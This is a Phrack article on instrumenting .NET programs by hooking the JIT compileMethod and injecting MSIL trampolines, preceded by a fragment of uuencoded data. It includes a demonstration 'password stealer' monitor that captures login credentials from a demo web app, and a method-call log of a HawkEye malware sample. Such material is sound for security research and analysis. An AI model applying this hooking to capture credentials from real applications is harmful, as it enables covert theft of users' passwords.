MW>JJ`&]7GV;/MEM].PO)@0N)G7NVH[@?`1<=N56TYC^QR)3+, M;AK`76HXS^/\9_'^,]C_.+QV=]%.F[@ZN072G)-HV^?/GU6)=?FS(___MV+K[]ZSLFU-3=PZ+>R MM/+"Y/'95W][]@B3*92TFOR_OS+H>;&2#+S_'2/!"-@BSB?WJQ%8]^SQLSIX MY]DC\0,?/I\]?\$_7'ZNJ_-Z-#H]&IT>C4Z/1J='H],C`AB='HU.CT:G1Z/3 MH]'IT>CT:'1Z-#H]TC@]$J$.KM(E6WL5\]- MA$T[X3).7_KG)PJ6F=1&-\HMXFS],CQ7W>,8ZRI62)U6Q0_I-)CB.:C>=F0, MF*KY&!'E]>:"D[A:>@QS7<9LX%,'+SI&^ M.K-Y+,=XE>1UQN9=#*7[+$=YO1\LQ)MGR%4;@T]D*"@'AB,>8SV/L9ZUL9X? M3%GYH@LIIT[C&;E:FJ7KM'9&)6,-=7R/#0;M&OV2_19^R4`:+C$.E!P3X9+L M2'HEJ_F(!;P2M$4G^:?\=W`DNP)XNDL<&@V8D.LT%41\,U%_-ZB:VDP.`\/? MCQ_B`@4#0#K-CZ1GY.A-2):J#&HU[KR"L]XKV(F^@IWI*SCKO;K)\U>PP:&( M`+(H+F^D9S25Q(TNL8XGI`^Q)GJGHAF&V-00W5#KJ8R_*(.,U934CFA?2$2. MD3DB-%!(HK$\^\&TI ML`>'$65T"(#BD%9S1T;D>_1,!L"#S)NPG?WXV7#D MNX8X5'^HJY&:CN$]3EK@-/C\5;*\>C`\:@W=D=`;*JK%KX#9-."5:FGE85UA/MX8T["[L!VKYH]WC58E/JS.?"J\L M9A2<RYP9]7I)FR?+%]$51/>0IL>3%$,\-Y-E<8G^VJD9O2U.WPP MPPU3VP4OQF.NQZRS%R:?I53T8K-:8FS0REVI#`.'EC!DA,72:@ZE&I((52[$ M/LOWS8RSYR\J'`!D'BFA7H!C=!C,J*XE9L]B=$:0(@R M02=!*;-3D0)X,>]OQ7PYWY!]%-KW;>J&]`AST3.G!Z$:#["[*F_E,15$.]MU MHN(3HCF-G_$S?L;/^!D_XV?\C)_Q,W[&S_@9/^-G_(R?\3-^QD_]^7_T`TH, $`$`!```` ` end |=[ EOF ]=---------------------------------------------------------------=| ============== Page 6/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x06 of 0x0f |=-----------------------------------------------------------------------=| |=--------=[ .NET Instrumentation via MSIL bytecode injection ]=---------=| |=-----------------------------------------------------------------------=| |=----------=[ by Antonio "s4tan" Parata ]=-----------=| |=-----------------------------------------------------------------------=| 1 - Introduction 2 - CLR environment 2.1 - Basic concepts 2.1.1 - Metadata tables 2.1.2 - Metadata token 2.1.3 - MSIL bytecode 2.2 - Execution environment 3 - JIT compiler 3.1 - The compileMethod 3.2 - Hooking the compileMethod 4 - .NET Instrumentation 4.1 - MSIL injection strategy 4.2 - Resolving the method handle 4.3 - Implementing a trampoline via the calli instruction 4.4 - Crafting a dynamic method 4.5 - Invoking the user defined code 4.6 - Fixing the SEH table 5 - Real world examples 5.1 - Web application password stealer 5.2 - Malware inspection 6 - Conclusion 7 - References 8 - Source Code --[ 1 - Introduction In this article we will explore the internals of the .NET framework with the purpose of providing an innovative method to instrument .NET programs at runtime. Actually, there are several libraries that allow to instrument .NET programs; most of them install a hook in the code generated after compiling a given method, or by modifying the Assembly and saving back the result of the modification. Microsoft also provides a profile API in order to instrument the execution of a given program. However the API must be activated before executing the program by setting specific environment variables. Our goal is to instrument the program at runtime by leaving the Assembly binary untouched; all this by using a high level .NET language. As we will see, this is done by injecting additional MSIL code just before the target method is compiled. --[ 2 - CLR environment Before describing in depth how to inject additional MSIL code in a method, it is necessary to provide some basic concepts as on how the .NET framework works and which are its basic components. We will only describe the concepts that are relevant to our purpose. ---[ 2.1 - Basic concepts A .NET binary is typically called Assembly (even if it doesn't contain any assembly code). It is a self-describing structure, meaning that inside an Assembly you will find all the necessary information to execute it (for more information on this subject see [01]). As we will shortly see, all this information can be accessed by using reflection. Reflection allows us to have a full picture of which types and methods are defined inside the Assembly. We can also have access to the names and types of the parameters passed to a specific method. The only missing information are the names of the local variables, but as we will see this is not a problem at all. ----[ 2.1.1 - Metadata tables All the above mentioned information is stored inside tables called Metadata tables. The following list taken from [02] shows the index and names of all the existing tables: 00 - Module 01 - TypeRef 02 - TypeDef 04 - Field 06 - MethodDef 08 - Param 09 - InterfaceImpl 10 - MemberRef 11 - Constant 12 - CustomAttribute 13 - FieldMarshal 14 - DeclSecurity 15 - ClassLayout 16 - FieldLayout 17 - StandAloneSig 18 - EventMap 20 - Event 21 - PropertyMap 23 - Property 24 - MethodSemantics 25 - MethodImpl 26 - ModuleRef 27 - TypeSpec 28 - ImplMap 29 - FieldRVA 32 - Assembly 33 - AssemblyProcessor 34 - AssemblyOS 35 - AssemblyRef 36 - AssemblyRefProcessor 37 - AssemblyRefOS 38 - File 39 - ExportedType 40 - ManifestResource 41 - NestedClass 42 - GenericParam 44 - GenericParamConstraint Each table is composed of a variable number of rows. The size of a row depends on the kind of table and can contain a reference to other Metadata tables. Those tables are referenced by the Metadata token, a notion that is described in the next paragraph. ----[ 2.1.2 - Metadata token The Metadata token (or token for short) is a fundamental concept in the CLR framework. A token allows you to reference a given table at a given index. It is a 4-byte value, composed of two parts [08]: a table index and the RID. The table index is the topmost byte wich points to a table. A RID is a 3-byte record identifier pointing in the table, which starts at offset one. As an example, let's consider the following Metadata token: (06)00000F 0x06 is the number of the referenced table, which in this case is MethodDef. The last three bytes are the RID, that in this case has a value of 0x0F. ----[ 2.1.3 - MSIL bytecode When we write a program in a .NET high level language, the compiler will translate this code into an intermediate representation called MSIL or as defined in the ECMA-335 [03] CIL, which stands for Common Intermediate Language. By installing Visual Studio you will also install a very handy utility called ILDasm, that allows you to disassemble an Assembly by displaying the MSIL code and other useful information. As an example let try to compile the following C# source code: ------#------#------#------------#------#------#------ public class TestClass { private String _message; public TestClass(String txt) { this._message = txt; } private String FormatMessage() { return "Hello " + this._message; } public void SayHello() { var message = this.FormatMessage(); Console.WriteLine(message); } } ------#------#------#------------#------#------#------ The result of the compilation is an Assembly with three methods: .ctor : void(string), FormatMessage : string() and SayHello : void(). Let's try to display the MSIL code of the SayHello method: ------#------#------#------------#------#------#------ .method public hidebysig instance void SayHello() cil managed // SIG: 20 00 01 { // Method begins at RVA 0x21f8 // Code size 16 (0x10) .maxstack 1 .locals init ([0] string message) IL_0000: /* 00 | */ nop IL_0001: /* 02 | */ ldarg.0 IL_0002: /* 28 | (06)00000F */ call instance string MockLibrary.TestClass::FormatMessage() IL_0007: /* 0A | */ stloc.0 IL_0008: /* 06 | */ ldloc.0 IL_0009: /* 28 | (0A)000014 */ call void [mscorlib]System.Console::WriteLine(string) IL_000e: /* 00 | */ nop IL_000f: /* 2A | */ ret } // end of method TestClass::SayHello ------#------#------#------------#------#------#------ For each instruction we can see the associated MSIL byte values. It is interesting to see that the code doesn't contain any reference to unmanaged memory but only to metadata tokens. The two call instructions reference two different tables, due to the FormatMessage method being implemented in the current Assembly and the WriteLine method implemented in an external Assembly. If we take a look at the list of tables presented in 2.1.1 we can see that the Metadata token (0A)000014 references the table 0x0A which is the MemberRef table, index 0x14 which is WriteLine. Instead the token (06)00000F references the table 0x06 which is the MethodDef table, index 0x0F which is FormatMessage. ---[ 2.2 - Execution environment The CLR execution environment is very strict and forbids any kind of dangerous operation. If we compare it with the unmanaged world where we were able to jump in the middle of an instruction to confuse the disassembler, to create all kinds of opaque instructions or to jump to any valid address, we will discover a sad truth: everything is forbidden. The CLR is a stack based machine. This means that there is no concept of registers and every parameter is pushed on the stack in order to be passed to other functions. When we exit a method, the stack must be empty or at least contain the value that should be returned. As already said, everything is based on the definition of the Metadata token. If we try to invoke a call with an invalid token we will receive a fatal exception. This poses a serious problem for our goal, since we cannot call methods that are not referenced by the original Assembly. --[ 3 - JIT compiler When a method is executed we have two different scenarios. The first one is when the method is already compiled, in this case the code just jumps to the compiled unmanaged code. The second scenario is when the method isn't yet compiled, in this case the code jumps to a stub that will call the exported method compileMethod, defined in corjit.h [04], in order to compile and then execute the method. ---[ 3.1 - The compileMethod Let's analyze this interesting method a bit more. The signature of compileMethod is the following: virtual CorJitResult __stdcall compileMethod ( ICorJitInfo *comp, /* IN */ struct CORINFO_METHOD_INFO *info, /* IN */ unsigned /* code:CorJitFlag */ flags, /* IN */ BYTE **nativeEntry, /* OUT */ ULONG *nativeSizeOfCode /* OUT */ ) = 0; The most interesting structure is the CORINFO_METHOD_INFO which is defined in corinfo.h [05] and has the following format: struct CORINFO_METHOD_INFO { CORINFO_METHOD_HANDLE ftn; CORINFO_MODULE_HANDLE scope; BYTE * ILCode; unsigned ILCodeSize; unsigned maxStack; unsigned EHcount; CorInfoOptions options; CorInfoRegionKind regionKind; CORINFO_SIG_INFO args; CORINFO_SIG_INFO locals; }; For our purpose the most important field is the ILCode byte pointer. It points to a buffer which contains the MSIL bytecode. By modifying this buffer we are able to alter the method execution flow. As a side note, this method is also extensively used by .NET obfuscators. In fact we can read the following comment in the source code: Note: Obfuscators that are hacking the JIT depend on this method having __stdcall calling convention An obfuscator typically encrypts the MSIL bytecode of a method, then when the method is bound to be executed they decrypt the bytecode and pass this value as byte pointer instead of the encrypted one. This also explains why if we open it in ILDasm or with a decompiler we receive back an error. How can they know when a method is going to be called? This is pretty easy, the code in charge for the replacement process is placed inside the type constructor. This specific constructor is invoked only once: before a new object of that specific type is created. ---[ 3.2 - Hooking the compileMethod Since the compileMethod is exported by the Clrjit.dll (or from mscorjit.dll for older .NET versions), we can easily install a hook to intercept all the requests for compilation. The following F# pseudo-code shows how to do this: ------#------#------#------------#------#------#------ [] extern IntPtr getJit() [] extern Boolean VirtualProtect( IntPtr lpAddress, UInt32 dwSize, Protection flNewProtect, UInt32& lpflOldProtect) let pVTable = getJit() _pCompileMethod <- Marshal.ReadIntPtr(pVTable) // make memory writable let mutable oldProtection = uint32 0 if not <| VirtualProtect( _pCompileMethod, uint32 IntPtr.Size, Protection.PAGE_EXECUTE_READWRITE, &oldProtection) then Environment.Exit(-1) let protection = Enum.Parse( typeof, oldProtection.ToString()) :?> Protection // save original compile method _realCompileMethod <- Some (Marshal.GetDelegateForFunctionPointer( Marshal.ReadIntPtr(_pCompileMethod), typeof) :?> CompileMethodDeclaration ) RuntimeHelpers.PrepareDelegate(_realCompileMethod.Value) RuntimeHelpers.PrepareDelegate(_hookedCompileMethodDelegate) // install compileMethod hook Marshal.WriteIntPtr( _pCompileMethod, Marshal.GetFunctionPointerForDelegate(_hookedCompileMethodDelegate) ) // repristinate memory protection flags VirtualProtect( _pCompileMethod, uint32 IntPtr.Size, protection, &oldProtection ) |> ignore ------#------#------#------------#------#------#------ When we modify the MSIL code we must pay attention to the stack size. Our framework needs some stack space in order to work and if the method that is going to be compiled doesn't need any local variables, we will receive an exception at runtime. In order to fix this problem it is enough to modify the maxStack variable of CORINFO_METHOD_INFO structure before writing it back. --[ 4 - .NET Instrumentation Now it is time to modify the MSIL buffer of our method of choice and redirect the flow to our code. As we will see this is not a smooth process and we need to take care of numerous aspects. ---[ 4.1 - MSIL injection strategy In order to invoke our code the process that we will follow is composed of the following steps: 1. Install a trampoline at the beginning of the code. This trampoline will call a dynamically defined method. 2. Define a dynamic method that will have a specific method signature. 3. Construct an array of objects that will contain the parameters passed to the method. 4. Invoke a dispatcher function which will load our Assembly and will finally call our code by passing a handle to the original method and an array of objects representing the method parameters. In the end the structure that we are going to create will follow the path defined in the following diagram: | ... | | ... | +---------------+ | Trampoline |----> | | | Original MSIL | | Dynamic | | ... | | Method |---------+ | ... | | | | +---------------+ v +---------------+ | | | Framework | | Dispatcher | | | +---------------+ | +----------+ | v +---------------+ | | | User | | Code Monitor | | | +---------------+ ---[ 4.2 - Resolving the method handle As we will see in the next paragraph, it is necessary to resolve the handle of the method that will be compiled in order to obtain the needed information via reflection. I have found a method to resolve it, it is not very elegant but it works :P. The following F# pseudo-code will show you how to resolve a method handle given the CorMethodInfo structure: ------#------#------#------------#------#------#------ let getMethodInfoFromModule( methodInfo: CorMethodInfo, assemblyModule: Module) = let mutable info: FilteredMethod option = None try // dirty trick, is there a // better way to know the module of the compiled method? let mPtr = assemblyModule.ModuleHandle.GetType() .GetField("m_ptr", BindingFlags.NonPublic ||| BindingFlags.Instance) let mPtrValue = mPtr.GetValue(assemblyModule.ModuleHandle) let mpData = mPtrValue.GetType() .GetField("m_pData", BindingFlags.NonPublic ||| BindingFlags.Instance) if mpData <> null then let mpDataValue = mpData.GetValue(mPtrValue) :?> IntPtr if mpDataValue = methodInfo.ModuleHandle then // module found, get method name let tokenNum = Marshal.ReadInt16(nativeint(methodInfo.MethodHandle)) let token = (0x06000000 + int32 tokenNum) let methodBase = assemblyModule.ResolveMethod(token) if methodBase.DeclaringType <> null && isMonitoredMethod(methodBase) then let mutable numOfParameters = methodBase.GetParameters() |> Seq.length if not methodBase.IsStatic then // take into account the this parameter numOfParameters <- numOfParameters + 1 // compose the result info info <- Some { TokenNum = tokenNum NumOfArgumentsToPushInTheStack = numOfParameters Method = methodBase IsConstructor = methodBase :? ConstructorInfo Filter = this } with _ -> () info ------#------#------#------------#------#------#------ This method must be invoked for each module of all loaded Assemblies. Now that we have a MethodBase object, we can use it to extract the needed information, like the number of accepted parameters and their types. ---[ 4.3 - Implementing a trampoline via the calli instruction Our first obstacle is to create a MSIL bytecode that can invoke an arbitrary function. Among all the available OpCodes, the one of interest for us is the calli instruction [06] (beware of its usage, as it makes our code unverifiable). From the MSDN page we can read that: "The method entry pointer is assumed to be a specific pointer to native code (of the target machine) that can be legitimately called with the arguments described by the calling convention (a metadata token for a stand-alone signature). Such a pointer can be created using the Ldftn or Ldvirtftn instructions, or passed in from native code." Nice, we can specify an arbitrary pointer to native code. The only difficulty is that we cannot use the Ldftn or Ldvirtftn since they need a metadata token, and we cannot specify this value. Not too bad, since from the Ldftn documentation we can read that [07]: "Pushes an unmanaged pointer (type native int) to the native code implementing a specific method onto the evaluation stack." So, if we have an unmanaged pointer we can simulate the Ldftn with a simple Ldc_I4 instruction (supposing that we are operating on a 32 bit environment) [09]. Unfortunately now we have another, even bigger, problem. The calli instruction needs a callSiteDescr. From [08] we can read that: " - referred to callSiteDescr - must be a valid StandAloneSig". The StandAloneSig is the table number 17. As I have already said we cannot specify this Metadata token (since it probably doesn't exist in the table). I have played a bit with the calli instruction in order to see if it accepts also other kinds of Metadata tokens. In the end I discovered that it also accepts a token from one of the following tables: TypeSpec, Field and MethodDef. For our purpose, the MethodDef table is the most interesting one, since we can fake a valid MethodDef token by creating a DynamicMethod (more on this later). We can now close the circle by using the calli instruction and modifying the metadata token in order to specify a MethodDef. We will use the MethodBase object that we obtained in the previous step in order to know how many parameters the method accepts and push them in the stack before invoking calli. The following F# pseudo-code shows how to build the calli instruction: ------#------#------#------------#------#------#------ // load all arguments on the stack for i=0 to filteredMethod.NumOfArgumentsToPushInTheStack-1 do ilGenerator.Emit(OpCodes.Ldarg, i) // emit calli instruction with a pointer to the dynamic method, // the token used by the calli is not important as I'll modify it soon ilGenerator.Emit(OpCodes.Ldc_I4, functionAddress) ilGenerator.EmitCalli( OpCodes.Calli, CallingConvention.StdCall, dispatcherMethod.ReturnType, dispatcherArgs) // this index allow to modify the right byte let patchOffset = ilGenerator.ILOffset - 4 ilGenerator.Emit(OpCodes.Nop) // check if I have to pop the return value match filteredMethod.Method with | :? MethodInfo as mi -> if mi.ReturnType <> typeof then ilGenerator.Emit(OpCodes.Pop) | _ -> () // end method ilGenerator.Emit(OpCodes.Ret) ------#------#------#------------#------#------#------ The functionAddress variable contains the native pointer of our dynamic method. One last step is to patch the calli Metadata token with a MethodDef token whose value we know to be correct. As value we will use the token of the method that it is being compiled. The following F# pseudo-code show how to modify the MSIL bytecode at the right offset: ------#------#------#------------#------#------#------ // craft MethodDef metadata token index let b1 = (filteredMethod.TokenNum &&& int16 0xFF00) >>> 8 let b2 = filteredMethod.TokenNum &&& int16 0xFF // calli instruction accept 0x11 as table index (StandAloneSig), // but seems that also other tables are allowed. // In particular the following ones seem to be accepted as // valid: TypeSpec, Field and Method (most important) trampolineMsil.[patchOffset] <- byte b2 trampolineMsil.[patchOffset+1] <- byte b1 trampolineMsil.[patchOffset + 3] <- 6uy // 6(0x6): MethodDef Table ------#------#------#------------#------#------#------ Since this step is a bit complex let's try to summarize our actions: 1. We use the calli instruction to invoke an arbitrary method by specifying a native address pointer. 2. We modify the calli metadata token by specifying a MethodDef token and not a StandAloneSig token. 3. We pass as Metadata token value the token of the method currently compiled. This kind of token describes the method that must be called. Our next step is to be sure that the method invoked by calli satisfies the information contained in the referenced Metadata token. ---[ 4.4 - Crafting a dynamic method We now have to create the dynamic method that satisfies the information provided by the token passed to the calli instruction. From [10] we can read that: "The method descriptor is a metadata token that indicates the method to call and the number, type, and order of the arguments that have been placed on the stack to be passed to that method as well as the calling convention to be used." So, in order to create a method that satisfies the signature of the method referenced by the token we will use a very powerful .NET capability, which allows us to define dynamic method. This step allows the following: 1. Create a method that has the same signature of the method that will be compiled. This will guarantee that the information carried by the metadata token is legit. 2. We are now in a situation where we can specify a valid metadata token, since the new dynamic type is created in the current execution environment. This dynamic method will call another method (a dispatcher) that accepts two arguments: a string representing the location of the Assembly to load (more on this later) and an array of objects which contains the arguments passed to the method. In creating this method you have to pay attention when creating the objects array, since in .NET not everything is an object. The following F# pseudo-code creates the dynamic method with the right signature: ------#------#------#------------#------#------#------ let argumentTypes = [| if not filteredMethod.Method.IsStatic then yield typeof yield! filteredMethod.Method.GetParameters() |> Array.map(fun p -> p.ParameterType) |] let dynamicType = _dynamicModule.DefineType( filteredMethod.Method.Name + "_Type" + string(!_index)) let dynamicMethod = dynamicType.DefineMethod( dynamicMethodName, MethodAttributes.Static ||| MethodAttributes.HideBySig ||| MethodAttributes.Public, CallingConventions.Standard, typeof, argumentTypes ) ------#------#------#------------#------#------#------ We can now proceed with the creation of the method body. We need to pay attention to two facts: ValueType parameters must be boxed, and Enum parameters must be converted to another form (after some trials and errors I found that Int32 is a good compromise). ------#------#------#------------#------#------#------ // push the location of the Assembly to load containing the monitors let assemblyLocation = if filteredMethod.Filter.Invoker <> null then filteredMethod.Filter.Invoker.Assembly.Location else String.Empty ilGenerator.Emit(OpCodes.Ldstr, assemblyLocation) // get the parameter types let parameters = filteredMethod.Method.GetParameters() |> Seq.map(fun pi -> pi.ParameterType) |> Seq.toList // create argv array ilGenerator.Emit(OpCodes.Ldc_I4, filteredMethod.NumOfArgumentsToPushInTheStack) ilGenerator.Emit(OpCodes.Newarr, typeof) // fill the argv array for i=0 to filteredMethod.NumOfArgumentsToPushInTheStack-1 do ilGenerator.Emit(OpCodes.Dup) ilGenerator.Emit(OpCodes.Ldc_I4, i) ilGenerator.Emit(OpCodes.Ldarg, i) // check if I have to box the value if filteredMethod.Method.IsStatic || i > 0 then // this check is necessary becasue the // GetParameters method doesn't consider the 'this' pointer let paramIndex = if filteredMethod.Method.IsStatic then i else i - 1 if parameters.[paramIndex].IsEnum then // consider all enum as Int32 type to avoid access problems ilGenerator.Emit(OpCodes.Box, typeof) elif parameters.[paramIndex].IsValueType then // all value types must be boxed ilGenerator.Emit(OpCodes.Box, parameters.[paramIndex]) // store the element in the array ilGenerator.Emit(OpCodes.Stelem_Ref) // emit call to dispatchCallback let dispatchCallbackMethod = Type.GetType("ES.Anathema.Runtime.Dispatcher") .GetMethod("dispatchCallback", BindingFlags.Static ||| BindingFlags.Public) ilGenerator.EmitCall(OpCodes.Call, dispatchCallbackMethod, null) ilGenerator.Emit(OpCodes.Ret) ------#------#------#------------#------#------#------ The call will end up invoking a framework method that is in charge for the dispatch of the call to the user defined code. ---[ 4.5 - Invoking the user defined code In order to make the code easy to extend, we can implement a mechanism that will load a user defined Assembly and invoke a specific method. In this way we have an architecture that resembles that of a plugin-based architecture. We call these plugins: monitors. Each monitor can be configured in order to intercept a specific method. In order to locate the monitors we will use the software design paradigm "convention over configuration", which implies that all classes whose name ends in "Monitor" are loaded. This last method is very simple, it just retrieves the MethodBase object from the stack in order to pass it to the monitor and finally invoke it. The assemblyLocation parameter is the one that specifies where the user defined Assembly is located. ------#------#------#------------#------#------#------ let dispatchCallback(assemblyLocation: String, argv: Object array) = if File.Exists(assemblyLocation) then let callingMethod = try // retrieve the calling method from the stack trace let stackTrace = new StackTrace() let frames = stackTrace.GetFrames() frames.[2].GetMethod() with _ -> null // invoke all the monitors, we use "convention over configuration" let bytes = File.ReadAllBytes(assemblyLocation) for t in Assembly.Load(bytes).GetTypes() do try if t.Name.EndsWith("Monitor") && not t.IsAbstract then let monitorConstructor = t.GetConstructor([| typeof; typeof|]) if monitorConstructor <> null then monitorConstructor.Invoke([|callingMethod; argv|]) |> ignore with _ -> () ------#------#------#------------#------#------#------ ---[ 4.6 - Fixing the SEH table We are near the end, we have modified the MSIL bytecode, we have created a dynamic method and a trampoline. The final step is to write back the CORINFO_METHOD_INFO structure and call the real compileMethod. Unfortunately by doing so you will soon receive a runtime error when you try to instrument a method that uses a try/catch clause. This is due to the fact that the creation of the trampoline has made the SEH table invalid. This table contains information on the portions of code that are inside try/catch clauses. From [11] we can see that by adding additional MSIL code, the properties TryOffset and HandlerOffset will assume an invalid value. This table is located after the IL Code, as shown in the following diagram: +--------------------+ | | | Fat Header | | | +--------------------+ | | | | | IL Code | | | | | +--------------------+ | | | SEH Table | | | +--------------------+ We also have a confirmation from the source code, in fact in corhlpr.cpp ([12]) we can see that the SEH table is added to the outBuff variable after that was already filled with the IL code. So, to get the address of the SEH table it is enough to add to the IlCode pointer, located in the CorMethodInfo structure, the length of the MSIL code. Before showing the code that does that we have to take into account that the SEH Table can be of two different types: FAT or SMALL. What changes is only the dimensions of its fields. So fixing this table it is just a matter of locating it and enumerating each clause to fix their values. The following F# pseudo-code does exactly this: ------#------#------#------------#------#------#------ let fixEHClausesIfNecessary( methodInfo: CorMethodInfo, methodBase: MethodBase, additionalCodeLength: Int32) = let clauses = methodBase.GetMethodBody().ExceptionHandlingClauses if clauses.Count > 0 then // locate SEH table let codeSizeAligned = if (int32 methodInfo.IlCodeSize) % 4 = 0 then 0 else 4 - (int32 methodInfo.IlCodeSize) % 4 let mutable startEHClauses = methodInfo.IlCode + new IntPtr(int32 methodInfo.IlCodeSize + codeSizeAligned) let kind = Marshal.ReadByte(startEHClauses) // try to identify FAT header let isFat = (int32 kind &&& 0x40) <> 0 // it is always plus 3 because even if it is small it is // padded with two bytes. See: Expert .NET 2.0 IL Assembler p. 296 startEHClauses <- startEHClauses + new IntPtr(4) for i=0 to clauses.Count-1 do if isFat then let ehFatClausePointer = box(startEHClauses.ToPointer()) :?> nativeptr let mutable ehFatClause = NativePtr.read(ehFatClausePointer) // modify the offset value ehFatClause.HandlerOffset <- ehFatClause.HandlerOffset + uint32 additionalCodeLength ehFatClause.TryOffset <- ehFatClause.TryOffset + uint32 additionalCodeLength // write back the result let mutable oldProtection = uint32 0 let memSize = Marshal.SizeOf(typeof) if not <| VirtualProtect( startEHClauses, uint32 memSize, Protection.PAGE_READWRITE, &oldProtection) then Environment.Exit(-1) let protection = Enum.Parse( typeof, oldProtection.ToString()) :?> Protection NativePtr.write ehFatClausePointer ehFatClause // repristinate memory protection flags VirtualProtect( startEHClauses, uint32 memSize, protection, &oldProtection) |> ignore // go to next clause startEHClauses <- startEHClauses + new IntPtr(memSize) else //... do same as above but for small size table ------#------#------#------------#------#------#------ Once we have fixed this table we can finally invoke the real compileMethod. --[ 5 - Real world examples The code presented is part of a project called Anathema that will allow you to easily instrument .NET programs. Let's try to use the framework by instrumenting a web application in order to steal the user passwords and to instrument a real world malware in order to log all method calls. ---[ 5.1 - Web application password stealer Let's see how we can use this instrumentation method in order to implement a password stealer for a web application. For our demo we will use a very popular .NET web server called Suave ([13]). We will write the web application in F# and the password stealer as a C# console application, in this way we can instrument the interesting method before it is compiled. In the other case we have to force the .NET runtime to recompile the method in order to apply the instrumentation (see [14] for a possible approach). The web application is very simple and contains only a form; its HTML code is shown below: ------#------#------#------------#------#------#------

-= Secure Web Shop Login =-

Username:
Password:
------#------#------#------------#------#------#------ The F# code in charge for the authentication is the following: ------#------#------#------------#------#------#------ let private _accounts = [ ("admin", BCrypt.HashPassword("admin")) ("guest", BCrypt.HashPassword("guest")) ] let private authenticate(username: String, password: String) = _accounts |> List.exists(fun (user, hash) -> let usernameMatch = user.Equals(username, StringComparison.Ordinal) let passwordMatch = BCrypt.Verify(password, hash) usernameMatch && passwordMatch ) let private doLogin(ctx: HttpContext) = match (tryGetParameter(ctx, "username"), tryGetParameter(ctx, "password")) with | (Some username, Some password) when authenticate(username, password) -> OK "Authentication successfully executed!" ctx | _ -> OK "Wrong username/password combination" ctx ------#------#------#------------#------#------#------ So, the best way to intercept passwords is the 'authenticate' method. We will start by creating a class in charge of printing the received password, this is done by creating the following simple class: ------#------#------#------------#------#------#------ class PasswordStealerMonitor { public PasswordStealerMonitor(MethodBase m, object[] args) { Console.WriteLine( "[!] Username: '{0}', Password: '{1}'", args[0], args[1]); } } ------#------#------#------------#------#------#------ Now, the final step is to instrument the application, this is done using the following code: ------#------#------#------------#------#------#------ // create runtime var runtime = new RuntimeDispatcher(); var hook = new Hook(runtime.CompileMethod); var authenticateMethod = GetAuthenticateMethod(); runtime.AddFilter( typeof(PasswordStealerMonitor), "SecureWebShop.Program.authenticate"); // apply hook var jitHook = new JitHook(); jitHook.InstallHook(hook); jitHook.Start(); // start the real web application SecureWebShop.Program.main(new String[] { }); ------#------#------#------------#------#------#------ Once the web application is run and we try to login, we will see the following output in the console: -= Secure Web Shop =- Start web server on 127.0.0.1:8080 [14:45:49 INF] Smooth! Suave listener started in 631.728 with binding 127.0.0.1:8080 [!] Username: 's4tan', Password: 'wrong_password' [!] Username: 'admin', Password: 'admin' ---[ 5.2 - Malware inspection Let's consider a sample of the Hawkeye malware, written in .NET, with the following MD5 hash: 130efba199b389ab71a374bf95be2304. The sample contains two levels of packing. We could trace the packers but let's focus on the main payload (MD5: 97d74c20f5d148ed68e45dad0122d3b5). When the main payload is launched the following method calls are logged: c:\>MLogger.exe malware.exe [+] Debugger.My.MyApplication.Main(Args: System.String[]) : System.Void [+] Debugger.My.MyProject..cctor() [...] [+] Debugger.My.MyProject.get_Application() : Debugger.My.MyApplication [+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyApplication..ctor() [+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyProject+MyForms..ctor() [+] Debugger.Debugger..ctor() [+] Debugger.Clipboard..ctor() [+] Debugger.Clipboard.add_Changed(obj: Debugger.Clipboard+ChangedEventHandler) : System.Void [+] Debugger.My.Resources.Resources.get_CMemoryExecute() : System.Byte[] [+] Debugger.My.Resources.Resources.get_ResourceManager() : System.Resources.ResourceManager [+] Debugger.Debugger.InitializeComponent() : System.Void [+] Debugger.Debugger.Decrypt( encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged [+] Debugger.Debugger.Decrypt( encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged [+] Debugger.Debugger.Decrypt( encryptedBytes: System.String, secretKey: System.String) : System.String [+] Debugger.Debugger.getAlgorithm(secretKey: System.String) : System.Security.Cryptography.RijndaelManaged [...] [+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean [+] Debugger.Debugger.GetInternalIP() : System.String [+] Debugger.Debugger.GetExternalIP() : System.String [+] Debugger.Debugger.GetBetween( Source: System.String, Before: System.String, After: System.String) : System.String [+] Debugger.Debugger.GetAntiVirus() : System.String [+] Debugger.Debugger.GetFirewall() : System.String [+] Debugger.Debugger.unHide() : System.Void [+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyComputer..ctor() [+] Debugger.Debugger.unhidden(path: System.String) : System.Void [...] [+] Debugger.My.Resources.Resources.get_mailpv() : System.Byte[] [+] Debugger.My.Resources.Resources.get_ResourceManager() : System.Resources.ResourceManager [+] Debugger.Debugger.HookKeyboard() : System.Void [+] Debugger.Clipboard.Install() : System.Void [+] Debugger.My.MyProject+ThreadSafeObjectProvider`1.get_GetInstance() : T [+] Debugger.My.MyComputer..ctor() [+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean [+] Debugger.Debugger.IsConnectedToInternet() : System.Boolean [+] Debugger.My.MyProject.get_Computer() : Debugger.My.MyComputer [...] --[ 6 - Conclusion Instrumenting a .NET program via MSIL bytecode injection is a pretty useful technique that allows you to have full control of method invocation by using a high level .NET language. As we have seen, doing so requires a lot of attention and knowledge of the internal workings of the CLR, but in the end the outcome is worth the trouble. --[ 7 - References [01] Metadata and Self-Describing Components - https://goo.gl/bbSG7p [02] The .NET File Format - http://www.ntcore.com/files/dotnetformat.htm [03] Standard ECMA-335 - https://goo.gl/J9kko6 [04] corjit.h - https://goo.gl/J68Poi [05] corinfo.h - https://goo.gl/G31KHP [06] OpCodes.Calli Field - https://goo.gl/D7ug93 [07] OpCodes.Ldftn Field - https://goo.gl/sHzz1S [08] Expert .NET 2.0 IL Assembler - https://goo.gl/3LKLSW [09] OpCodes.Ldc_I4 Field - https://goo.gl/qEW2Lx [10] OpCodes.Call Field - https://goo.gl/29rqZk [11] ExceptionHandlingClause Class - https://goo.gl/bjLqSv [12] corhlpr.cpp - https://goo.gl/DDVKgH [13] Suave web server - https://suave.io/ [14] .NET CLR Injection - https://goo.gl/nryxYB --[ 